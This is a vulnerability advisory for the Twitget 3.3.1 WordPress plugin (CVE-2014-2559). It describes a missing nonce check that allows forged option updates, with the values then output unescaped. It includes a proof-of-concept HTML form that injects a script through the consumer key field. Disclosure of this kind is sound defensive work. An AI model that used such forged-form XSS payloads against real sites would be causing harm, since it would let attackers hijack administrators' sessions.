CSRF/XSS vulnerability in Twitget 3.3.1 (WordPress plugin)

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Details
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Software: Twitget
Version: 3.3.1
Homepage: http://wordpress.org/plugins/twitget/
Advisory ID: dxw-1970-435
CVE: CVE-2014-2559
CVSS: 6.4 (Medium; AV:N/AC:L/Au:N/C:P/I:P/A:N)

Description
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CSRF/XSS vulnerability in Twitget 3.3.1

Vulnerability
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If a logged-in administrator visits a specially crafted page, options can be updated (CSRF) without their consent, and 
some of those options are output unescaped into the form (XSS). In this example the XSS occurs at line 755 in 
twitget.php. The nonce-checking should have occurred somewhere around line 661 in the same file.

Proof of concept
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<form action=\"http://localhost/wp-admin/options-general.php?page=twitget/twitget.php\"; method=\"POST\">
  <input type=\"text\" name=\"twitget_username\" value=\"john_smith\">
  <input type=\"text\" name=\"twitget_consumer_key\" value=\"&quot;>&lt;script>alert(\'dxw\')&lt;/script>\">
  <input type=\"submit\">
</form>

Mitigations
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Upgrade to version 3.3.3 or later.

Disclosure policy
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This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
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2013-07-30: Discovered
2014-03-18: Reported to plugins () wordpress org
2014-04-09: Author reports fixed in version 3.3.3.

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Discovered by dxw:
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Tom Adams
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Discovered by dxw:
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Tom Adams
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